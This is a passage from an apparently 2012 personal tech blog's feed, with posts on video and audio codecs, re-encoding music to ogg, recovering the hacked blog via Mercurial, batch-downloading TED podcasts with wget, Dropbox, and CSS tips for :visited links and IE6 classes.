&lt;p&gt;MPEG, MPEG2 and MPEG4 are succesive iteration of another codec that compress a
video stream by looking at its pixels and checking if they changed from one
frame to another, to avoid redrawing them. With each succesive versions it then
started to track movement, color and lightning of these pixels. In the end, it
gave birth to the h264 codec which is used on Blueray (while MPEG2 was used on
DVD). h264 is the de facto standard of HD video of today. It requires more
processing power than its MPEG counterparts but deliver a much better quality
for an equal filesize. Recent hardware is today optimized to handle h264
natively.&lt;/p&gt;
&lt;p&gt;As for mkv and mp4, there also is the same difference between H264 and Theora.
Theora got equivalent quality than H264, but is patentfree. On the other end,
H264 is very widely supported while Theora is not (as can be seen in HTML5).&lt;/p&gt;
&lt;p&gt;Microsoft also created a closed source wmv codec to go with its wmv container.
It is supposed to be based on MPEG4, but there is little known to it, so it of
absolutly no use to me.&lt;/p&gt;
&lt;p&gt;So, as you can see, there is almost no relation between a codec and its
container. You can have a divx encoded file in an mkv, or a Theora in an avi.
But, in the real world, some codec are most often found with some container,
like divx in avi or h264 in mp4.&lt;/p&gt;
&lt;p&gt;Here, I&#39;ll pick h264 because of the hardware support.&lt;/p&gt;
&lt;h2&gt;Audio codec&lt;/h2&gt;
&lt;p&gt;As for the video stream, the audio stream is also compressed using an audio
codec. The most common audio codec is the mp3. This is a lossy codec, meaning it
discards information to get the filesize lower. It is based on a method that
will discard sounds that the human hear will not be able to hear anyway.&lt;/p&gt;
&lt;p&gt;mp3 has its drawbacks, like being bloated from succesive mpeg versions and still
being patented.&lt;/p&gt;
&lt;p&gt;A new codec, the AAC succeed to mp3. It will also discard sounds the human hear
cannot get, but will also encode redundancy in a better way. Even if mp3 was the
de facto standard for a long time, AAC is gaining a huge popularity because it
is backed up by all the big companies.&lt;/p&gt;
&lt;p&gt;Then, the story gĹs on and on. There is an open source, patent free equivalent
to AAC, being ogg. Once again, its as good as its opponent (even better on low
bitrates), but there isn&#39;t as many devices able to read ogg as they&#39;re are able
to read AAC. But once, again, things are slowly changing.&lt;/p&gt;
&lt;p&gt;Here, I&#39;ll choose ogg over the alternatives.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I have a bunch of files, in different containers, encoded with different
encoders and I&#39;m going to try to clean a bit all this. First, I&#39;ll get rid of
all the &amp;quot;bad&amp;quot; containers (&lt;code&gt;mov&lt;/code&gt; and &lt;code&gt;wmv&lt;/code&gt;) and use &lt;code&gt;mkv&lt;/code&gt; instead.&lt;/p&gt;
&lt;p&gt;For files that are too big, I&#39;ll try to convert them to a better format. h264
video with an ogg audio stream in an mkv container.&lt;/p&gt;
&lt;p&gt;Well, there also is the matter of the video resolution, data rate, fps and audio
frequency but this might be the subject of another post.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>How I want my music files encoded</title>
    <link href="https://blog.pixelastic.com/2012/06/04/music-files-encoded/"/>
    <updated>2012-06-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2012/06/04/music-files-encoded</id>
    <content type="html">&lt;p&gt;I have a lot of music files on my computer. Some comes from CDs I encoded, other
comes from the magic of file sharing. Most of them are in &lt;code&gt;MP3&lt;/code&gt; format, but I
have a few &lt;code&gt;ogg&lt;/code&gt; and &lt;code&gt;wma&lt;/code&gt; tracks, mixed with even a bit of &lt;code&gt;wav&lt;/code&gt; or &lt;code&gt;flac&lt;/code&gt;
files.&lt;/p&gt;
&lt;p&gt;Even the &lt;code&gt;mp3&lt;/code&gt; files are encoded in a bunch of different settings, with various
bitrates and frequencies. The only thing that is quite consistent in all that is
that my tagging of metadatas.&lt;/p&gt;
&lt;p&gt;Other than that it&#39;s quite a mess and has my collection grow larger, it starts
to bother me. No two albums, even for the same music duration, are the same
filesize.&lt;/p&gt;
&lt;p&gt;I decided to clean a bit this whole mess. Let me explain my goal, and how I plan
on doing that.&lt;/p&gt;
&lt;p&gt;First, I want all my files encoded with the same settings, so the music I&#39;m
listening to and its file size is consistent accross different albums.&lt;/p&gt;
&lt;p&gt;Second, I want all the files correctly taggued with track number, artist, album
and song name. I don&#39;t really care about the year nor the genre. Genre is highly
subjective, and year can be misleading in mixed albums like soundtracks, are we
talking about the year of the release of the cd, or the year of the release of
the individual song?&lt;/p&gt;
&lt;p&gt;Third, I want all my files in &lt;code&gt;ogg&lt;/code&gt; format. First, because I want to get rid of
as many proprietary format as I can, and &lt;code&gt;mp3&lt;/code&gt; is proprietary. But mainly
because &lt;code&gt;mp3&lt;/code&gt; is an encoding format bloated with the previous layers of MPEG
layer 2 and MPEG layer 1, resulting in larger file size and more encoding
complexity.&lt;/p&gt;
&lt;p&gt;And finally, I want to have the best sound quality that I can afford, without
going to extreme like listening to &lt;code&gt;FLAC&lt;/code&gt; directly as my ears won&#39;t be able to
catch the difference anyway.&lt;/p&gt;
&lt;p&gt;So, I&#39;m gonna buy a big hard drive, something around 1To I think, and put on it
all my music files in &lt;code&gt;FLAC&lt;/code&gt; format, encoded directly from CD. This &lt;code&gt;FLAC&lt;/code&gt; files
will have all the required metadata saved in them.&lt;/p&gt;
&lt;p&gt;Then, I&#39;ll create an &lt;code&gt;ogg&lt;/code&gt; subdir in each of my album dirs where I&#39;ll encode my
FLAC in &lt;code&gt;ogg&lt;/code&gt; with a bitrate of 128kbds (as the human hear won&#39;t be able to
really get the difference with anything higher than that), and using the
metadata from the &lt;code&gt;FLAC&lt;/code&gt; files.&lt;/p&gt;
&lt;p&gt;Finally, I&#39;ll put the &lt;code&gt;ogg&lt;/code&gt; files on my portable media player and listen to them
on the go.&lt;/p&gt;
&lt;p&gt;I do not need to put the &lt;code&gt;FLAC&lt;/code&gt; on the PMP, has my ears won&#39;t be able to hear
the difference. I only need to put a compressed version. Maybe in a few years,
when PMP hard drive size will have increase I&#39;ll be able to increase the quality
of my &lt;code&gt;ogg&lt;/code&gt; and use better quality files. If I ever need to do that, I won&#39;t
have to rip the CDs again as I&#39;ll already have the &lt;code&gt;FLAC&lt;/code&gt; to create the
encoding.&lt;/p&gt;
&lt;p&gt;This will be hard work, but I guess it will be worth it in the long run. At
least, now I know a bit more about encoding formats and settings.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>This blog got hacked</title>
    <link href="https://blog.pixelastic.com/2012/02/25/blog-hacked/"/>
    <updated>2012-02-25T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2012/02/25/blog-hacked</id>
    <content type="html">&lt;p&gt;Today, at about 9pm (GMT+12), I found my own blog hacked. When I wanted to
access it, I was redirected to a malware site.&lt;/p&gt;
&lt;p&gt;Half an hour later, it is back online again, and here is what I did.&lt;/p&gt;
&lt;p&gt;First, I downloaded the webpage on my computer
using &lt;code&gt;curl http://www.pixelastic.com/&lt;/code&gt; to analyse it in search of a clue on the
attack vector.&lt;/p&gt;
&lt;p&gt;Unfortunatly, I couldn&#39;t easily find the culprit. No &lt;code&gt;img&lt;/code&gt; tag loading a &lt;code&gt;php&lt;/code&gt;
file, no XSS injection that I could find. My guess is that the attacker tampered
the &lt;code&gt;js&lt;/code&gt; files loaded to add its own custom evil script. But as my js files are
concatened and compressed in a file with a md5 name, it wasn&#39;t obvious that they
had been compromised.&lt;/p&gt;
&lt;p&gt;After that, I &lt;code&gt;ssh&lt;/code&gt;ed to the server and tried to find what files where modified
since my last commit. As I&#39;m using Mercurial for that, this was a simple matter
of &lt;code&gt;hg status.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And I got a shitload of result. Actually, all my &lt;code&gt;php&lt;/code&gt; files had been modified
(and as I&#39;m using cakePHP, that means, a lot of file). Running &lt;code&gt;hg diff&lt;/code&gt;, I
found out that all the php code of each file had been replaced with an evil code
(enclosed in several layers of eval+base64).&lt;/p&gt;
&lt;p&gt;I updated my working directory to the latest commit with &lt;code&gt;hg update --clean&lt;/code&gt; to
get all those files as they were before the attack. Running &lt;code&gt;hg status&lt;/code&gt; once
more still showed a bunch of new php files added. Running &lt;code&gt;hg purge&lt;/code&gt; finally get
rid of them.&lt;/p&gt;
&lt;p&gt;I finally deleted all the compressed css and js files, to force them to be
created again, and that&#39;s it, the website is online again.&lt;/p&gt;
&lt;p&gt;I still don&#39;t have a clue on how this happened. How did someone access my files?
Is that an XSS attack? Is my password cracked? Is there another security
weakness I&#39;m not aware of?&lt;/p&gt;
&lt;p&gt;EDIT: Got hacked again. Seeing that the cakePHP Cache files were deleted, I
guess it is a known attack on a cake vulnerability. Got the website up again,
but will fix it as soon as my holidays allow.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Downloading all the TEDTalk podcasts</title>
    <link href="https://blog.pixelastic.com/2012/01/23/putting-tedtalk-mp3-player/"/>
    <updated>2012-01-23T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2012/01/23/putting-tedtalk-mp3-player</id>
    <content type="html">&lt;p&gt;As I&#39;m about to move for a couple of long months without an internet connection
and a lot of travel hours, I thought of downloading the TEDTalk podcasts.&lt;/p&gt;
&lt;p&gt;Being a linux user for about a year now, I&#39;m taking the habit of using the linux
tools to do the boring and repetitive work. Downloading more than a hundred
files seems like a good candidate for a script.&lt;/p&gt;
&lt;p&gt;The complete list of audio podcasts is available [here](https://spreadsheets.g
oogle.com/pub?key=0Ahz_ZQm7pkwTdFBVWXBLOFNGSkdsVFgxc0Y0bk9lc0E). I simply
selected all text and copied it into a &lt;code&gt;file.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then, it was simply a matter of extracting only the urls, and feeding them to
&lt;code&gt;wget&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; file.txt&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; tr&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39; &#39;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#92;n&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; tr&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#92;t&#39;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#92;n&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; grep&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; http&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; list.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;wget&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --no-clobber&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -i&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; list.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This took a while to download as there are more than 400 files, but that way
I&#39;ll have some interesting talks to listen to during my trip.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Productivity tip #2: Use a Dropbox</title>
    <link href="https://blog.pixelastic.com/2012/01/17/productivity-tip-2-dropbox/"/>
    <updated>2012-01-17T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2012/01/17/productivity-tip-2-dropbox</id>
    <content type="html">&lt;p&gt;Here&#39;s one more post in my productivity serie. This one is about the Dropbox
service.&lt;/p&gt;
&lt;h2&gt;What is Dropbox?&lt;/h2&gt;
&lt;p&gt;In a nutshell, Dropbox is a private hosting service, based on a cloud
infrastructure. Once you&#39;ve installed the app, one of your folders (default to
&lt;code&gt;~/Dropbox&lt;/code&gt;) became synchronized with your Dropbox account. Every document that
you save in that folder, and any subfolder you create, will immediatly be saved
online in your Dropbox account.&lt;/p&gt;
&lt;p&gt;In the real world, it means that you can easily share one folder and all its
documents easily between all your computers. If you don&#39;t want to install the
app, you can simply log to &lt;a href=&quot;http://www.dropbox.com&quot;&gt;dropbox.com&lt;/a&gt; and
download/upload any file you want.&lt;/p&gt;
&lt;h2&gt;How I use it&lt;/h2&gt;
&lt;p&gt;There a few ways you can use Dropbox. Here are a few of mine, feel free to add
yours in the comments.&lt;/p&gt;
&lt;p&gt;As I used to work on Windows (and I still have to sometimes), I always had to
install a bunch of apps on a brand new computer before being able to start
working. This includes the traditional antivirus, browser, music player, IDE,
etc. Instead of going through the laborious process of downloading all the
installer on each of the websites, I&#39;ve saved them in my Dropbox and I just have
to install Dropbox, then install the apps I need.&lt;/p&gt;
&lt;p&gt;Instead of a bunch of &lt;code&gt;todo.txt&lt;/code&gt; files spread accross all your computers,
wouldn&#39;t it be tidier to only have one, shared?&lt;/p&gt;
&lt;p&gt;The same goes for the KeePass file, so you can have an easy access to all your
passwords.&lt;/p&gt;
&lt;p&gt;I also use it to synchronize my Tomboy notes between my computers (I&#39;ll go into
more details in another note).&lt;/p&gt;
&lt;p&gt;It might be a bit excessive, but I personnally also share my icons, sounds,
wallpapers and other customization stuff, so I won&#39;t feel lost on a new
computer.&lt;/p&gt;
&lt;p&gt;Thanks to the amazing &lt;a href=&quot;http://www.getdoxie.com&quot;&gt;Doxie scanner&lt;/a&gt; (more on that on
another note), I&#39;m now a scan junkie. I scan all the official paperwork I got in
my physical mailbox and store it in the Dropbox.&lt;/p&gt;
&lt;p&gt;Be it a bill or a banking receipt, I scan anything that looks like official and
that I might need again one day. That way, I know I can always connect to
&lt;a href=&quot;http://www.dropbox.com&quot;&gt;dropbox.com&lt;/a&gt; and find any official document of the past
5 years in a matter of minutes. This saved my day quite a few time already!&lt;/p&gt;
&lt;h2&gt;Last words&lt;/h2&gt;
&lt;p&gt;Dropbox is a free service. You can have 2Go for free, or pay for a more space. I
personnaly only use a fraction of that so I stay on the free plan. I haven&#39;t
mentionned it because I don&#39;t use it, but you can also share some folders with
other Dropbox users, which is a nice addition when working on the same project.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>The:visited pseudo-class specificity gotcha</title>
    <link href="https://blog.pixelastic.com/2012/01/07/visited-pseudo-class-specificity-gotcha/"/>
    <updated>2012-01-07T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2012/01/07/visited-pseudo-class-specificity-gotcha</id>
    <content type="html">&lt;p&gt;In a &lt;a href=&quot;/blog/333:alternative-multiples-classes-ie6&quot;&gt;previous post&lt;/a&gt;, I bloggued
about the way to emulate OOCSS behavior with multiple classes in IE6.&lt;/p&gt;
&lt;p&gt;Today, I&#39;ll do a follow up and write about a possible gotcha involving the
&lt;code&gt;:visited&lt;/code&gt; pseudo class.&lt;/p&gt;
&lt;p&gt;Following the previous example let&#39;s imagine you have a styling for your defauls
links (&lt;code&gt;a { color:blue; }&lt;/code&gt;), one for the default buttons (&lt;code&gt;.button { ... }&lt;/code&gt; )
and one for a custom button that extend the &lt;code&gt;.button&lt;/code&gt; (&lt;code&gt;.customButton { ... }&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;Now, imagine that you&#39;ll want to style all &lt;code&gt;:visited&lt;/code&gt; links the same way non-
visited links are styled. You might write something like:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;:visited&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; color&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;blue&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unfortunatly, this will have some nasty side effects on your &lt;code&gt;.button&lt;/code&gt; and
&lt;code&gt;.customButton&lt;/code&gt; rules because &lt;code&gt;a:visited&lt;/code&gt; will have precedence over &lt;code&gt;.button&lt;/code&gt;
and &lt;code&gt;.customButton&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You can find more information about CSS specificity in this
&lt;a href=&quot;http://www.stuffandnonsense.co.uk/archives/css_specificity_wars.html&quot;&gt;Star Wars&lt;/a&gt;
post.&lt;/p&gt;
&lt;p&gt;Your first solution could be to add even more specificity to your own rules, to
override the &lt;code&gt;a:visited&lt;/code&gt; one, like so:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.button&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.button&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;:visited&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; ... &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.customButton&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.customButton&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;:visited&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; ... &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will work, of course, but you&#39;re only adding complexity to your
specificities, and this get more and more tedious the more you add other
customised buttons.&lt;/p&gt;
&lt;p&gt;In fact, there is a much better way, one that you could throw in your
&lt;code&gt;reset.css&lt;/code&gt; if it isn&#39;t there already:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;:visited&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; color&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;inherit&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That way, all your visited links will inherit their color from their non-
visited version. This mean that visited &lt;code&gt;.button&lt;/code&gt; will use the &lt;code&gt;.button&lt;/code&gt; color,
visited &lt;code&gt;.customButton&lt;/code&gt; will use &lt;code&gt;.customButton&lt;/code&gt; color and simple visited links
will use the &lt;code&gt;a&lt;/code&gt; color.&lt;/p&gt;
&lt;p&gt;Of course, if you defined a &lt;code&gt;background-color&lt;/code&gt; in your &lt;code&gt;a&lt;/code&gt;, you should define a
&lt;code&gt;background-color:inherit&lt;/code&gt; in your &lt;code&gt;a:visited&lt;/code&gt; too.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Alternative way for multiple classes in IE6</title>
    <link href="https://blog.pixelastic.com/2012/01/06/alternative-multiple-classes-ie6/"/>
    <updated>2012-01-06T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2012/01/06/alternative-multiple-classes-ie6</id>
    <content type="html">&lt;p&gt;In a pure OOCSS style of writing CSS, let&#39;s imagine you created a css class of
&lt;code&gt;.button&lt;/code&gt; that visually turns a simple link into a button.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; href&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;#&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;button&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;I&#39;m a button&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, if you want to define a custom version of your button, let&#39;s say a button
that will trigger a very dangerous action, you might want to style it
differently, so our user will think twice before hitting it.&lt;/p&gt;
&lt;p&gt;You got two ways of achieving this, depending if you still support IE6 or not.&lt;/p&gt;
&lt;h2&gt;Simple way for non-IE6&lt;/h2&gt;
&lt;p&gt;If you don&#39;t care about IE6 (and hell, it&#39;s 2012, you shouldn&#39;t), you just have
to add a second class to your button/link:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; href&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;#&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;button dangerous&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;I&#39;m a dangerous button&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And in your CSS file, just define some special styles (like a red &lt;code&gt;background&lt;/code&gt;)
to your dangerous button.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.button.dangerous&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; ... &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Actually, that&#39;s the path followed by
&lt;a href=&quot;http://twitter.github.com/bootstrap/&quot;&gt;Bootstrap&lt;/a&gt;(among others). But it will not
correctly work in IE6, because it does not understand multiple classes rules.
Instead, IE6 will read &lt;code&gt;.button.dangerous {}&lt;/code&gt; the same as &lt;code&gt;.dangerous {}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This will cause problems as soon as you&#39;ll use the &lt;code&gt;.important&lt;/code&gt; class on
something else than a &lt;code&gt;.button&lt;/code&gt;: IE will apply the &lt;code&gt;.button.dangerous&lt;/code&gt; rules to
anything with the &lt;code&gt;.dangerous&lt;/code&gt; class.&lt;/p&gt;
&lt;h2&gt;Other way, for IE6&lt;/h2&gt;
&lt;p&gt;The solution I personnaly use to fix IE6 is to use more explicit classes instead
of using multiple ones. For example, instead of &lt;code&gt;.button.dangerous {}&lt;/code&gt; I&#39;ll use
&lt;code&gt;.buttonDangerous {}&lt;/code&gt; and write my html like this:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; href&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;#&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;button buttonDangerous&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;I&#39;m a dangerous button, even on IE6&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That way, the link will have both the styles of &lt;code&gt;.button&lt;/code&gt; and
&lt;code&gt;.buttonDangerous&lt;/code&gt;. This will assure cross compatibility with IE6, at the
expense of a (arguably) less readable markup.&lt;/p&gt;
&lt;p&gt;As of today, I hope that I&#39;ll never have to code for IE6 websites again, but if
you ever need to, that&#39;s a little trick that can really help.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Productivity tip #1: Using global hotkeys</title>
    <link href="https://blog.pixelastic.com/2012/01/05/productivity-tip-1-global-hotkeys/"/>
    <updated>2012-01-05T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2012/01/05/productivity-tip-1-global-hotkeys</id>
    <content type="html">&lt;p&gt;This post will be the first of what I hope will be a long serie of posts. I&#39;ll
blog about some of the little tricks I&#39;ve learn in the past years that make me
go faster on my daily job.&lt;/p&gt;
&lt;p&gt;I&#39;ll start with something I can no longer work without: my global hotkeys.&lt;/p&gt;
&lt;p&gt;The concept is pretty simple, I&#39;ve binded some keys combinations to launch
specific applications or directories. It might not seem very important, but it
does make you gain a tremendous amount of time for those apps you launch pretty
often like browser, IDE, or project directory.&lt;/p&gt;
&lt;p&gt;I used to work on Windows, and I then used a little script named
&lt;a href=&quot;http://www.autohotkey.com/&quot;&gt;AutoHotKey&lt;/a&gt; to bind my keys. The script even comes
packaged with its own language if you ever want to script complicated stuff.&lt;/p&gt;
&lt;p&gt;I&#39;m now working under Ubuntu, and the global hotkeys can be defined directly
from the System Settings (in 11.10 it&#39;s
&lt;code&gt;System Settings &amp;gt; Keyboard &amp;gt; Shortcuts &amp;gt; Custom Shortcuts&lt;/code&gt;)&lt;/p&gt;
&lt;h2&gt;Opening apps&lt;/h2&gt;
&lt;p&gt;I choose a key combination hard enough to type so I won&#39;t type it by mistake,
but easy enough to remember that I could type it whenever I want.&lt;/p&gt;
&lt;p&gt;For example, I binded all the app I use the most to a &lt;code&gt;Ctrl+Win+{Letter}&lt;/code&gt;
combination. &lt;code&gt;Ctrl+Win+C&lt;/code&gt; opens Chromium, &lt;code&gt;Ctrl+Win+F&lt;/code&gt; opens Firefox,
&lt;code&gt;Ctrl+Win+T&lt;/code&gt; opens Trillian, etc.&lt;/p&gt;
&lt;h2&gt;Opening folders&lt;/h2&gt;
